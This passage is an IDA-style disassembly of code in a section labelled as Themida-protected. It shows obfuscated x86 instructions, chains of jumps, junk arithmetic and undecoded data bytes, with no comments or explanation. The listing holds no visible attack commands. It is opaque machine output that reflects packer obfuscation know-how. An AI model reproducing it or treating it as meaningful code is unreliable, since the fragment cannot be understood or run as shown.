		dd 3685824h, 89000018h,	0FBE92404h, 81FFFFC2h, 4C2h, 4C28300h
		dd 0FFDC1AE9h, 877CE9FFh, 0C181FFFFh, 69025D0Eh, 74FF515Dh
		dd 39E90424h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B8B7:				; CODE XREF: Themida_:00544A38j
		push	ebp
		mov	ebp, 4
		sub	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		jmp	loc_54976E
; ---------------------------------------------------------------------------

loc_54B8C8:				; CODE XREF: Themida_:00549BDAj
		push	edx
		jmp	loc_54E67E
; ---------------------------------------------------------------------------

loc_54B8CE:				; CODE XREF: Themida_:0054817Cj
		mov	eax, 59F819BEh
		mov	edi, 0DE7668D9h
		jmp	loc_54E550
; ---------------------------------------------------------------------------

loc_54B8DD:				; CODE XREF: Themida_:0054C7CDj
		mov	[esp], esi
		jmp	loc_54BDB9
; ---------------------------------------------------------------------------
		db 0BAh, 4, 0
		dd 0D0010000h, 4E8835Ah, 8B240487h, 1C892424h, 68E38924h
		dd 4BECh, 0FFFA81E9h, 2BEFFh, 0F0890000h, 98FBE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B912:				; CODE XREF: Themida_:0054E38Ej
		xchg	eax, ebp
		shr	ebp, 3
		jmp	loc_54FF1B
; ---------------------------------------------------------------------------

loc_54B91B:				; CODE XREF: Themida_:00549178j
		sub	ebp, 0B9A4C911h
		mov	edx, ebp
		jmp	loc_547D72
; ---------------------------------------------------------------------------
		dd 8107E3C1h, 2F0DCEC3h, 0CB57E93Dh, 0EDC1FFFFh, 0BA524505h
		dd 1AB95A2h, 0FF9D7EE9h, 0C3805AFFh, 0E9C3280Eh, 4488h
		dd 4EC815Eh, 0E9000000h, 1505h
; ---------------------------------------------------------------------------

loc_54B95C:				; CODE XREF: Themida_:0054D1F5j
		push	ecx
		push	41CCh
		mov	[esp], eax
		mov	ah, 0F3h
		mov	cl, ah
		pop	eax
		push	eax
		mov	al, 9Dh
		and	al, 1Ah
		dec	al
		shr	al, 5
		shr	al, 6
		sub	al, 0CEh
		xor	cl, al
		pop	eax
		sub	bl, 0BDh
		sub	bl, 0E7h
		sub	bl, cl
		add	bl, 0E7h
		add	bl, 0BDh
		pop	ecx
		mov	ecx, [esp]
		jmp	loc_550003
; ---------------------------------------------------------------------------
		db 1
		dd 0F2015AD6h, 2A3CE9h,	24048B00h, 0E904C483h, 2592h
; ---------------------------------------------------------------------------

loc_54B9A8:				; CODE XREF: Themida_:00545822j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_547193
; ---------------------------------------------------------------------------

loc_54B9B3:				; CODE XREF: Themida_:005495AAj
		xchg	edi, [esp]
		jmp	loc_549CA6
; ---------------------------------------------------------------------------

loc_54B9BB:				; CODE XREF: Themida_:0054A7D6j
		push	75D0h
		mov	[esp], esi
		mov	esi, 2AFE2F82h
		mov	ebx, esi
		pop	esi
		push	esi
		mov	esi, 2AFE2F02h
		push	edi
		mov	edi, 224B5AF1h
		push	edx
		jmp	loc_54921A
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 24066824h, 0E3E90000h, 5FFFF8Ch, 4, 5C240487h, 8104C483h
		dd 4C2h, 24143300h, 0E9241431h,	0FFFFC2A0h
; ---------------------------------------------------------------------------

loc_54BA08:				; CODE XREF: Themida_:0054EBD3j
		neg	eax
		push	edi
		mov	edi, 4B823090h
		inc	edi
		neg	edi
		and	edi, 1E1176C4h
		add	edi, 3B05220Eh
		sub	edi, 63B299Fh
		jmp	loc_54DBB1
; ---------------------------------------------------------------------------
		dw 3431h
		dd 24343324h, 0F7243431h, 0E68956D6h, 0E904EC83h, 2BE5h
		dd 8704C683h, 0F5C2434h, 9C51C8AFh, 0FF85D1E9h,	240487FFh
		dd 24048F5Ch, 0E924248Bh, 0FFFF865Ch
; ---------------------------------------------------------------------------

loc_54BA60:				; CODE XREF: Themida_:0054DF85j
		push	edx
		push	edx
		jmp	loc_544CD5
; ---------------------------------------------------------------------------
		db 53h
		dd 0E939E0BBh, 5BDD0120h, 2C5835Eh, 27F768h, 242C8900h
		dd 42474FFh, 83242C8Bh,	48F04C4h, 2CD35C24h, 8FE99C24h
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BA93:				; CODE XREF: Themida_:00548A25j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54B834
; ---------------------------------------------------------------------------
		dd 0A72045BAh, 46C2813Dh, 0C13F6B47h, 76E905E2h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BAAF:				; CODE XREF: Themida_:0054A4C4j
		xor	esi, 0F8F9BFBAh
		push	ecx
		mov	ecx, 43AF6457h
		not	ecx
		push	ebx
		mov	ebx, 3ED5233Ah
		shr	ebx, 2
		dec	ebx
		shl	ebx, 2
		neg	ebx
		xor	ebx, 0F946FE15h
		jmp	loc_5494EF
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812404h, 4, 8B24048Fh, 0F662424h,	9C2404BBh, 0FF8531E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54BAF1:				; CODE XREF: Themida_:00547E4Bj
		push	eax
		mov	eax, 50D13929h
		shr	eax, 8
		push	ecx
		mov	ecx, 47800566h
		add	ecx, 42B92624h
		push	eax
		mov	eax, 2A721CDFh
		or	ecx, eax
		pop	eax
		shl	ecx, 3
		xor	ecx, 0E7F93E09h
		sub	eax, ecx
		mov	ecx, [esp]
		jmp	loc_54D1DD
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 4, 73F3ED81h, 0AEE9110Fh, 2CFFFFECh,	2434FF7Eh, 4EC815Ah
		dd 0E9000000h, 0FFFF875Dh, 0B9240C89h, 2E227EC5h, 154BEA2Dh
		dd 0E9C8297Bh, 0FFFFAD2Bh, 0D9F9E9ACh, 0BA52FFFFh, 2, 89D78957h
		dd 815A5FF8h, 306176EAh, 0E45BE938h, 0EB81FFFFh, 24E1001h
		dd 0FFE7F9E9h, 0CFC381FFh, 8163F325h, 358CCCBh,	0BEF3815Eh
		dd 50721F40h, 202E6AB8h, 31FDE92Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54BB9E:				; CODE XREF: Themida_:0054749Cj
		mov	[esp], edi
		mov	edi, 14AB4B99h
		xor	edi, 39A4160Ah
		jmp	loc_54DD0D
; ---------------------------------------------------------------------------

loc_54BBB1:				; CODE XREF: Themida_:00546559j
		mov	ebp, 24F467D6h
		shl	ebp, 5
		xor	ebp, 0B2AA6D17h
		add	esi, ebp
		pop	ebp
		sub	eax, esi
		pop	esi
		jmp	loc_549A31
; ---------------------------------------------------------------------------
		dw 0CD01h
		dd 83240C8Bh, 2C3304C4h, 242C3124h, 8B242C33h, 2BE92424h
		dd 81000044h, 0F85441E6h, 0E9E6D11Bh, 1E50h
; ---------------------------------------------------------------------------

loc_54BBF0:				; CODE XREF: Themida_:00549759j
		inc	ebp
		jmp	loc_5459CC
; ---------------------------------------------------------------------------

loc_54BBF6:				; CODE XREF: Themida_:00549C40j
		push	dword ptr [esp]
		pop	ecx
		push	edi
		mov	edi, esp
		push	ebx
		push	5D6E0E1Bh
		pop	ebx
		inc	ebx
		jmp	loc_54D742
; ---------------------------------------------------------------------------

loc_54BC0A:				; CODE XREF: Themida_:0054E187j
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_548E09
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 3Ch
		dd 8B2434FFh, 0C4832404h, 4EC8104h, 89000000h, 63E92434h
		dd 87FFFFECh, 248B2434h, 50E1F724h, 24048B54h, 504C483h
		dd 4, 0B9515357h, 71597598h, 5059CB89h,	31B0BA52h, 0E2D14B83h
		dd 4EAC142h, 2952CA81h,	0F281447Dh, 5CCA29ABh, 0F3D8EA81h
		dd 0D089D9E9h, 1CDDBF5Ah, 0C73119B8h, 0FF8987E9h, 7CBB53FFh
		dd 0F779D639h, 37CB81D3h, 431CF65Eh, 4BD4C381h,	0E6E983F8h
		dd 87FFFFFEh, 895C2404h, 48BF243Ch, 0E97A7D25h,	0FFFFC905h
		dd 2D5AD001h, 4, 4EC81h, 4890000h, 2474FF24h, 48F5804h
		dd 24248B24h, 25D2E9h
		db 0
; ---------------------------------------------------------------------------

loc_54BCCD:				; CODE XREF: Themida_:0054E18Dj
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_54D03C
; ---------------------------------------------------------------------------
		db 0BEh
		dd 5A9B0C57h, 9B0C53B9h, 5EF1315Ah, 0C8BCE01h, 4C48324h
		dd 0FF999CE9h, 242C87FFh, 4C7835Ch, 8B243C87h, 72682424h
		dd 8900005Ah, 17E92404h, 66FFFF83h, 663505BAh, 17C1C281h
		dd 38EA8166h, 0D5296651h, 0B93EE95Ah, 0D321FFFFh, 6E3C15Ah
		dd 1AF9EB81h, 0D82930EBh, 5B2434FFh, 5604C483h,	702F13BEh
		dd 5EF30105h, 0FF8E1AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54BD45:				; CODE XREF: Themida_:0054672Cj
		sub	esp, 4
		jmp	loc_54C866
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 4
		dd 1000000h, 14A0E9DAh,	0C4810000h, 4, 0FF82BDE9h, 191B68FFh
		dd 1C890000h, 46824h, 15B0000h,	241C8BDAh, 283AE9h, 4C48300h
		dd 0DF31FB31h, 0D7F7FB31h, 92E9FB87h, 5FFFFF9Bh, 0FFD213E9h
		dd 5FF801FFh, 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 51241C89h
		dd 4C22F0B9h, 0D1F74901h, 0FFBFA0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54BDB9:				; CODE XREF: Themida_:0054B8E0j
		mov	esi, 4B432D90h
		shr	esi, 7
		dec	esi
		jmp	loc_54D10E
; ---------------------------------------------------------------------------
		db 33h
		dd 3C31243Ch, 243C3324h, 6624248Bh, 66241489h, 43E99C50h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BDDF:				; CODE XREF: Themida_:0054B0E6j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_54E2D7
; ---------------------------------------------------------------------------
aIP		db '‰<$żŻ',0
		db 11h,	30h, 31h
		dd 0EC815FF8h, 4, 0E9243C89h, 981h, 0A3B6525Ah,	0F0280704h
		dd 80ECB151h, 0E9D0B4E1h, 0FF98FBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54BE19:				; CODE XREF: Themida_:005461DEj
		push	dword ptr [esp]
		jmp	loc_546F73
; ---------------------------------------------------------------------------
		db 1, 0E9h, 5Dh
		dd 1E61E981h, 0E1C10214h, 0E9575604h, 0FFFFD169h, 282DF581h
		dd 0C5812F5Fh, 4EF41036h, 59AFED81h, 0EDC14010h, 0FCED8105h
		dd 0E9EF2EA0h, 0FFFFFFCDh, 0E953D801h, 0FFFFECCFh, 0BE5653ADh
		dd 0F094CD9h, 2414F756h, 81FE9h, 4EC8300h, 51242489h, 4B9h
		dd 244C0100h, 348B5904h, 4C48124h, 81000000h, 4C6h, 0EC835500h
		dd 24048904h, 2F4C3AB8h, 89EDBD08h, 0C5292198h,	1AF58158h
		dd 813C1019h, 213D53CDh, 0C1DDF72Bh, 0C58102EDh, 0CBDE4F83h
		dd 0E95DEE01h, 3F43h, 9D1C77FFh, 14D25966h, 53E99C24h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BECF:				; CODE XREF: Themida_:005465EAj
		xor	eax, 433F7BC6h
		xor	eax, 787743F2h
		jmp	loc_546A0F
; ---------------------------------------------------------------------------

loc_54BEDE:				; CODE XREF: Themida_:0054F326j
		push	eax
		jmp	loc_54D358
; ---------------------------------------------------------------------------
		dd 0E908E9C1h, 1EB1h
; ---------------------------------------------------------------------------

loc_54BEEC:				; CODE XREF: Themida_:0054F194j
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		jmp	loc_54ADD1
; ---------------------------------------------------------------------------
		db 53h
		dd 150CE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54BEFE:				; CODE XREF: Themida_:0054EC9Cj
		push	esi
		push	614C4238h
		pop	esi
		xor	esi, 53F23CBAh
		add	esi, 207EEDCCh
		push	esi
		add	dword ptr [esp], 7DCF193Eh
		pop	edi
		jmp	loc_5489C4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 31E92424h, 87FFFFC0h, 88E92414h
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BF2F:				; CODE XREF: Themida_:005458ABj
		push	ecx
		jmp	loc_54861C
; ---------------------------------------------------------------------------

loc_54BF35:				; CODE XREF: Themida_:0054CD70j
		shl	edx, 1
		push	1879h
		mov	[esp], ecx
		push	0FFFFFFFFh
		jmp	loc_54A131
; ---------------------------------------------------------------------------
		db 57h,	56h, 0BEh
		dd 6073326h, 0F75EF789h, 0B2BD55DFh, 2930C040h,	0EF815DEFh
		dd 4E113146h, 90DAEF81h, 37E94311h, 8B000014h, 0C4832414h
		dd 0C1D5F704h, 2AE905E5h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BF7F:				; CODE XREF: Themida_:0054B218j
		mov	edi, edx
		pop	edx
		push	ecx
		mov	ecx, 5BE3407h
		jmp	loc_5455AC
; ---------------------------------------------------------------------------

loc_54BF8D:				; CODE XREF: Themida_:005460C5j
		push	ebp
		push	esp
		jmp	loc_5448FD
; ---------------------------------------------------------------------------

loc_54BF94:				; CODE XREF: Themida_:0054CDFDj
		push	4F58h
		jmp	loc_545202
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 807CE924h, 2C89FFFFh, 8CA6E924h, 815AFFFFh, 4C4h, 5BDD0100h
		dd 5C242C87h, 0F66E1F6h, 6866CCB6h, 14E962D3h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BFCB:				; CODE XREF: Themida_:0054DCF0j
		mov	edi, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_546336
; ---------------------------------------------------------------------------
		dd 3ABE5657h, 0E9352B37h, 0FFFF9AF1h, 0E6252425h, 54E94833h
		dd 81FFFFCCh, 4C4h, 0BF575200h,	4B5D66F1h, 0E7C1D7F7h
		dd 0D8E78107h, 0C1378317h, 0C78105EFh, 6771526Ah, 0FFDC37E9h
		dd 65BE56FFh, 8168322Ch, 4E74C8F6h, 9DBA5223h, 42479802h
		dd 8103EAC1h, 1C0B0CE2h, 9AEA8151h, 21983BADh, 0EE815AD6h
		dd 43545025h, 685EF729h, 7631h,	0BD242C89h, 81E0EA4Ch
		dd 15DEF01h, 0BE565FFBh, 2, 335EF301h, 66E9241Ch, 8B000033h
		dd 0C483242Ch, 78536804h, 0C890000h, 2B924h, 0CB010000h
		dd 241C8759h, 6624248Bh, 66C8AF0Fh, 8FE99C51h, 0FFFFFF7Fh
		dd 0E7E92434h, 8BFFFFA6h, 0C481242Ch, 4, 221BE9h, 0C4815B00h
		dd 4, 8904EC83h, 0DABE2434h, 0C1687F2Dh, 0C68108EEh, 2198186Dh
		dd 5B1CC681h, 814E2568h, 0F4158DC6h, 3AB951D0h,	537DA777h
		dd 0FFDC87E9h, 4875FFFh, 24248B24h, 6203A5F3h, 37DAE938h
		dd 34330000h, 24248B24h, 0E9028864h, 0FFFF7F26h, 234AE959h
		dd 0FF2C0000h, 0FFA2D4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C109:				; CODE XREF: Themida_:0054CDF5j
		mov	esp, [esp]
		push	ebx
		jmp	loc_54F32B
; ---------------------------------------------------------------------------
		dw 66B9h
		dd 81AF7EB4h, 0E1254EEEh, 81CE294Ch, 0E1254EC6h, 0F701594Ch
		dd 8B2434FFh, 29E92434h, 66FFFFF3h, 6824048Bh, 5D91h, 1588E9h
		dd 5AD70100h, 8704C783h, 21E9243Ch, 66FFFFC2h, 6824048Bh
		dd 380Bh, 56240489h, 0C6815E54h, 4, 0FF89D9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C169:				; CODE XREF: Themida_:00549ABDj
		xchg	ebp, [esp]
		mov	esp, [esp]
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_54C6B1
; ---------------------------------------------------------------------------
		dd 0DE64F5BDh, 5DEB0178h, 7562C381h, 0F301770Ch, 7562EB81h
		dd 0EB81770Ch, 78DE64F5h, 5224348Bh, 0C281E289h, 4, 8704C283h
		dd 0E95C2414h, 0FFFFE4CCh
; ---------------------------------------------------------------------------

loc_54C1AC:				; CODE XREF: Themida_:0054761Aj
		add	esp, 4
		push	eax
		mov	eax, esp
		jmp	loc_546CC8
; ---------------------------------------------------------------------------
		db 83h
		dd 2C8704EDh, 91E95C24h, 5C00000Ch, 57E930FFh, 8FFFFF7Eh
		dd 815C2404h, 4ECh, 243C8900h, 0FFC85DE9h, 525D54FFh, 4BAh
		dd 33C58100h, 8150855Dh, 723D36EDh, 55ED817Ah, 0E9619414h
		dd 0FFFF8F27h, 0DB11A1BBh, 92C3814Eh, 816B2C1Bh, 72D2FEBh
		dd 5BDE01BAh, 5C243487h, 0E9240487h, 0FFFFA765h
; ---------------------------------------------------------------------------

loc_54C21C:				; CODE XREF: Themida_:00546828j
		mov	edi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_5480B7
		push	dword ptr [edi+1Ch]
		jmp	loc_54CDFA
; ---------------------------------------------------------------------------

loc_54C235:				; CODE XREF: Themida_:00547204j
		pop	edx
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	ecx
		mov	ecx, 473363EDh
		sub	[esp+4], ecx
		pop	ecx
		pop	eax
		add	eax, 473363EDh
		push	ebx
		mov	ebx, esp
		jmp	loc_546C0B
; ---------------------------------------------------------------------------
		db 59h
		dd 8B5DEB29h, 5CE92434h, 81FFFFD2h, 4C3h, 4B95100h, 1000000h
		dd 56E959CBh, 8F000026h, 7DA0E902h, 0DA88FFFFh,	5B5AD088h
		dd 8A58C788h, 0E9042454h, 18D0h
; ---------------------------------------------------------------------------

loc_54C294:				; CODE XREF: Themida_:0054A085j
		mov	[esp], eax
		mov	eax, 4
		sub	edx, eax
		pop	eax
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	edx
		push	edi
		mov	edi, 24D164A8h
		add	edi, 4AC91428h
		xor	edi, 55BF5AC7h
		jmp	loc_54798A
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 54682404h, 89000025h, 5A542414h, 4C281h, 0BB530000h
		dd 35460885h, 128CBF57h, 0EFC1553Ch, 65F78108h,	0E92B7A2Bh
		dd 0FFFF89D7h
; ---------------------------------------------------------------------------

loc_54C2EC:				; CODE XREF: Themida_:0054B780j
		mov	ecx, [esp]
		jmp	loc_547E48
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4832404h, 22336804h, 4890000h, 51E08924h
		dd 4B9h, 0E9C80100h, 0FFFFDE59h, 5E83EE81h, 0F6810C3Ch
		dd 7710CE8Ah, 15EF029h,	8306E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C32A:				; CODE XREF: Themida_:0054DB08j
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		push	2F63h
		jmp	loc_54F0AF
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9042474h, 0FFFFC8A3h, 6802C483h, 4809h, 83241489h
		dd 1BE904ECh, 87000031h, 895C2414h, 3FB82404h, 56E3A79h
		dd 0B8A21AFh, 5005E8C1h, 582414F7h, 515E1B05h, 0C81E926h
		dd 0E9510000h, 0FFFFA8C5h, 0C580FD28h, 685B6610h, 52D4h
		dd 0E9241C89h, 0FFFFDBD6h
; ---------------------------------------------------------------------------

loc_54C398:				; CODE XREF: Themida_:0054541Aj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_54AE69
; ---------------------------------------------------------------------------

loc_54C3A3:				; CODE XREF: Themida_:00549F3Ej
		shr	dl, 5
		jmp	loc_54F2A9
; ---------------------------------------------------------------------------
		db 5Ch
		dd 54241C89h, 0FFA78CE9h, 243489FFh, 506914BEh,	81DEF73Ah
		dd 913D65EEh, 0FEBD557Ah, 81498E38h, 40471FEEh,	81EE291Ah
		dd 40471FC6h, 242C8B1Ah, 0C104C483h, 2E906EEh
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C3E7:				; CODE XREF: Themida_:00547985j
		shr	edx, 2
		push	esi
		jmp	loc_54D162
; ---------------------------------------------------------------------------
		dd 0CE42A7BFh, 8843E913h, 6C01FFFFh, 44810424h,	7AB10424h
		dd 8B5D6177h, 86E92434h, 54FFFFD3h, 4BA5258h, 2D000000h
		dd 23E57555h, 7B3E9h, 80596600h, 0E2C0E9C2h, 4E2C002h
		dd 0FF9250E9h, 0B85058FFh, 0FFFFFFFFh, 8158C529h, 0A037F7EDh
		dd 0A0E58176h, 813DC457h, 804424F5h, 5DEA0108h,	2C281h
		dd 0E9520000h, 27D8h, 6140BA52h, 0D5296F70h, 3EDC15Ah
		dd 24C5ED81h, 0EB29FD35h, 83E9515Dh, 51FFFFE6h,	2365A0B9h
		dd 0C2FEE905h, 0BA52FFFFh, 558955E6h, 68EFF281h, 0C2813434h
		dd 16DB115Bh, 5A88F281h, 0B5E94D76h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C49F:				; CODE XREF: Themida_:0054A0D2j
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_54711A
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 0FF9D79E9h, 7EEC68FFh, 3C890000h, 4EC8324h, 0E9242489h
		dd 0FFFFC037h, 17ED815Dh, 5950E452h, 0FFAD38E9h, 243C8BFFh
		dd 8F04C483h, 525C2404h, 0EFE9E289h, 0FF000009h
		db 34h,	24h, 5Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54F392
; ---------------------------------------------------------------------------
		db 5
		dd 15805D11h, 3505E8C1h, 463F498h, 8358C701h, 3C8704EFh
		dd 24248B24h, 57241C89h, 1218D268h, 0E7C15F5Dh,	16EF8106h
		dd 0E91902BEh, 0FFFFB5F5h, 505BFA88h, 0C388D088h, 0DD885A58h
		dd 0FFF1B2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C549:				; CODE XREF: Themida_:005456A9j
		pop	ebp
		xchg	ecx, [esp]
		mov	esp, [esp]
		test	cl, al
		pushf
		jmp	loc_54EECC
; ---------------------------------------------------------------------------
		dd 5F13680Dh, 2DAE6873h, 2C890000h, 0A9BE5624h,	0E95B0664h
		dd 0FFFFF673h, 592434FFh, 4C481h, 0C1810000h, 4, 2C181h
		dd 0FF510000h, 0E9042474h, 0FFFF91BAh, 0F073E95Dh, 0C968FFFFh
		dd 8900002Dh, 2BF243Ch,	1000000h, 243C8BF8h, 4C481h, 0FF500000h
		dd 0E9042474h, 0FFFFF51Fh, 57FAED81h, 0ED811333h, 6F3F79B7h
		dd 0B75DE945h, 0C481FFFFh, 4, 0C281DA01h, 44716349h, 4EC815Bh
		dd 89000000h, 0DABF243Ch, 0E93A4171h, 3965h
; ---------------------------------------------------------------------------

loc_54C5EC:				; CODE XREF: Themida_:00544023j
		xor	al, bl
		jmp	loc_548440
; ---------------------------------------------------------------------------
		db 53h
		dd 0FF84EFE9h, 240C89FFh, 0E113E950h, 1B8FFFFh,	0E9000000h
		dd 71Fh
; ---------------------------------------------------------------------------

loc_54C60C:				; CODE XREF: Themida_:0054DE2Dj
		mov	ebx, ecx
		pop	ecx
		shr	ebx, 1
		shr	ebx, 8
		shl	ebx, 7
		push	457Dh
		mov	[esp], ebx
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		inc	ebx
		push	ecx
		mov	ecx, 40E64905h
		dec	ecx
		sub	ecx, 746803AAh
		add	ecx, 157F0D6Dh
		inc	ecx
		sub	ecx, 0F4DB0848h
		xor	ebx, ecx
		pop	ecx
		and	eax, ebx
		mov	ebx, [esp]
		jmp	loc_54D0E1
; ---------------------------------------------------------------------------
		dd 51C3315Bh, 0AFE9E189h, 81000018h, 4C4h, 0FC33000h, 34FFC0B6h
		dd 6DE06887h, 1BE90000h, 5F00001Bh, 0FD2CEA81h,	0D601B7C0h
		dd 4EE815Ah, 0E9000000h, 0FFFF869Ah, 8124348Bh,	4C4h, 14F75600h
		dd 0E9ADE924h, 0C468FFFFh, 54000057h, 0E924048Fh, 0FFFFE4DDh
		dd 0FF7971E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C6B1:				; CODE XREF: Themida_:0054C173j
		jmp	loc_544022
; ---------------------------------------------------------------------------

loc_54C6B6:				; CODE XREF: Themida_:00549772j
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 26497656h
		sub	ebx, 2B99010Fh
		xor	ebx, 0FAB07543h
		add	esi, 50480EC7h
		add	esi, ebx
		push	edx
		mov	edx, 60184A1Bh
		neg	edx
		inc	edx
		sub	edx, 4F9FA71Fh
		sub	esi, edx
		jmp	loc_54DDA8
; ---------------------------------------------------------------------------

loc_54C6F0:				; CODE XREF: Themida_:00547ACAj
		xor	eax, ecx
		push	5AA4h
		mov	[esp], eax
		jmp	loc_547A15
; ---------------------------------------------------------------------------
aBEzr		db 'ÎĂ;ĽZRş',0
		dd 313D65F9h, 0F7895AD6h, 247C315Eh, 2434FF04h,	0A633E95Fh
		dd 0E952FFFFh, 321Dh, 0C781E789h, 4, 4C781h, 3C870000h
		dd 87E95C24h, 89FFFF8Dh, 4C681E6h, 83000000h, 348704EEh
		dd 4CE95C24h, 4EFFFF80h, 846ABA52h, 0D63105B5h,	5EF0295Ah
		dd 83685751h, 0E93D3B03h, 1106h, 0E93C77FFh, 0FFFFC494h
		dd 4C181h, 0C1810000h, 4, 5C240C87h, 0FF789DE9h, 89C789FFh
		dd 9AF9E9FEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C78E:				; CODE XREF: Themida_:0054550Bj
		pop	esp
		mov	[esp], edi
		jmp	loc_5471D4
; ---------------------------------------------------------------------------
		db 29h
		dd 0FE295DEEh, 0FFFCE1E9h, 4EC83FFh, 4A0E9h, 56D83100h
		dd 0F2098FBEh, 93BB5325h, 8138832Ah, 311A99C3h,	2F0AE91Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C7C2:				; CODE XREF: Themida_:0054FA72j
		add	[esp+4], edi
		pop	edi
		pop	eax
		push	53B2h
		jmp	loc_54B8DD
; ---------------------------------------------------------------------------
		dw 0D029h
		dd 0C660262Dh, 24148B27h, 6804C483h, 51CBh, 68243C89h
		dd 75B99524h, 83243C8Bh, 0E86804C4h, 0E9000000h, 0FFFFF348h
; ---------------------------------------------------------------------------

loc_54C7FC:				; CODE XREF: Themida_:00546760j
		inc	ebp
		add	ebp, 599C116Ah
		sub	edi, ebp
		jmp	loc_54CD5D
; ---------------------------------------------------------------------------
		dw 5166h
		dd 7810E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C812:				; CODE XREF: Themida_:00546FD1j
		xchg	al, dl
		or	dl, 18h
		sub	dl, 4Ch
		sub	al, 12h
		sub	al, dl
		add	al, 12h
		pop	edx
		add	al, bh
		add	al, 0EEh
		pop	ebx
		xor	bl, al
		movzx	eax, al
		push	small 4456h
		mov	[esp], ax
		jmp	loc_5454E3
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 0FF77E3E9h, 1C7721FFh, 5E2434FFh, 4C481h
		dd 0EBE90000h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C857:				; CODE XREF: Themida_:00546E6Bj
		and	eax, 54435C19h
		xor	eax, 440500Ch
		jmp	loc_548AE8
; ---------------------------------------------------------------------------

loc_54C866:				; CODE XREF: Themida_:0054BD48j
		mov	[esp], edi
		push	edi
		jmp	loc_54640A
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FFB3E4E9h, 81C701FFh, 0D3536EC7h, 24048B29h, 4CDE9h
		dd 6B54BF00h, 0F78127B8h, 24A54C3Fh, 1644E9h, 3B95100h
		dd 573D0004h, 7D4804BFh, 4EC8375h, 0BA241489h, 3C613FB9h
		dd 1660C281h, 424A66CCh, 4A76CA81h, 0BD5531DFh,	44D20510h
		dd 0FFFCF3E9h, 1AD168FFh, 2C890000h, 4BD24h, 0C1810000h
		dd 773A293Bh, 0E981E901h, 773A293Bh, 5D2434FFh,	4C481h
		dd 0E9500000h, 16CEh, 6BE9F901h, 97000025h, 8197D0F7h
		dd 988BFCEFh, 3447E946h, 0EE810000h, 33292459h,	4C62C681h
		dd 0EE8155B9h, 33D8335Fh, 0C681CE01h, 33D8335Fh, 6109BA52h
		dd 0CA817604h, 4A0206AFh, 0E905EAC1h, 0FFFF80ACh, 0E904C383h
		dd 0FFFFABABh, 815DEE01h, 4C6h,	0B2D1E900h, 8B5BFFFFh
		dd 0C481241Ch, 4, 79AF381h, 0CBE975D1h,	50FFFFACh, 4B8h
		dd 2AC68100h, 1794734h,	2AEE81C6h, 58794734h, 0E904C683h
		dd 1E01h, 825EA81h, 0BB536892h,	0DB136BCEh, 0FF8F47E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C98D:				; CODE XREF: Themida_:0054E215j
		push	ebx
